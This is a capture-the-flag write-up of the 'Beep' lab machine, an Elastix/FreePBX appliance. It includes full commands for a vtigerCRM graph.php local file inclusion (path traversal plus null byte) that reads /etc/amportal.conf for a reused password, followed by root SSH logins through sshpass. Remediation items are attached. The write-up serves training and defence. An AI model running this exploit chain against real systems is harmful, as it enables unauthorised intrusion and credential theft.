Beep
Summary
The target was an aging Elastix/FreePBX VoIP appliance running Apache 2.2.3 on CentOS with fifteen services exposed to the network, including vtigerCRM on HTTPS/443 and Webmin on port 10000. I fingerprinted the web application stack, then exploited a known local file inclusion vulnerability in vtigerCRM's graph.php script — using a path-traversal string and a null-byte terminator to bypass the suffix check — and read the FreePBX database configuration file from disk.
That file stored the database password in plaintext. The password was also set on the OS root account and SSH was configured to accept root password logins, so a single authenticated SSH session as root immediately yielded full system control — no separate privilege-escalation exploit was required.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
Version and default script scan against all discovered ports.
$ nmap -sV -sC -p 22,25,80,110,111,143,443,857,993,995,3306,4190,4559,5038,10000 $TARGETConfirm the HTTP/80 redirect to HTTPS and read the Apache banner.
$ curl -sk -m 20 -o /dev/null -D - http://$TARGET/Exact commands 2
Force TLS 1.0 and permissive ciphers to complete the handshake with the legacy OpenSSL stack.
$ curl -sk --tlsv1.0 --tls-max 1.0 --ciphers 'DEFAULT@SECLEVEL=0' -m 20 -o /dev/null -D - https://$TARGET/Confirm vtigerCRM is present and identify the application version from the response.
$ curl -sk --tlsv1.0 --tls-max 1.0 --ciphers 'DEFAULT@SECLEVEL=0' -m 20 https://$TARGET/vtigercrm/FixPatch or remove the vulnerable vtigerCRM installationCritical
Exact commands 1
Path traversal reads /etc/amportal.conf; the null byte (%00) stops the script from appending its own file extension.
$ curl -sk --tlsv1.0 --tls-max 1.0 --ciphers 'DEFAULT@SECLEVEL=0' --connect-timeout 8 --max-time 20 "https://$TARGET/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action=index"Exact commands 1
Filter the LFI output to the three credential lines. AMPDBPASS value is the target credential.
$ curl -sk --tlsv1.0 --tls-max 1.0 --ciphers 'DEFAULT@SECLEVEL=0' --connect-timeout 8 --max-time 20 "https://$TARGET/vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action=index" | grep -E 'AMPDBUSER|AMPDBPASS|AMPDBHOST'FixPrevent the web server from reading sensitive system configuration filesHigh
Exact commands 1
Legacy SSH flags negotiate with the old OpenSSH server. Flag value captured: <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PubkeyAuthentication=no -o PreferredAuthentications=password -o HostKeyAlgorithms=+ssh-rsa -o KexAlgorithms=+diffie-hellman-group1-sha1 -o Ciphers=+aes128-cbc -o MACs=+hmac-sha1 root@$TARGET 'id; cat /home/*/user.txt'FixAssign unique passwords to every service account — never reuse database credentials on OS accountsCritical
Exact commands 1
Flag value captured: <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PubkeyAuthentication=no -o PreferredAuthentications=password -o HostKeyAlgorithms=+ssh-rsa -o KexAlgorithms=+diffie-hellman-group1-sha1 -o Ciphers=+aes128-cbc -o MACs=+hmac-sha1 root@$TARGET 'cat /root/root.txt'FixDisable root SSH password login and enforce key-based authenticationHigh
Attack patterns used
The transferable techniques behind this compromise.
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 25/tcp | smtp recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.2.3 |
| 110/tcp | pop3 recon-sweep-discovered |
| 111/tcp | rpcbind 2 (RPC #100000) |
| 143/tcp | imap recon-sweep-discovered |
| 443/tcp | ssl/http Apache httpd 2.2.3 ((CentOS)) |
| 857/tcp | status 1 (RPC #100024) |
| 993/tcp | imap recon-sweep-discovered |
| 995/tcp | pop3 recon-sweep-discovered |
| 3306/tcp | mysql recon-sweep-discovered |
| 4190/tcp | unknown recon-sweep-discovered |
| 4559/tcp | unknown recon-sweep-discovered |
| 5038/tcp | asterisk Asterisk Call Manager 1.1 |
| 10000/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.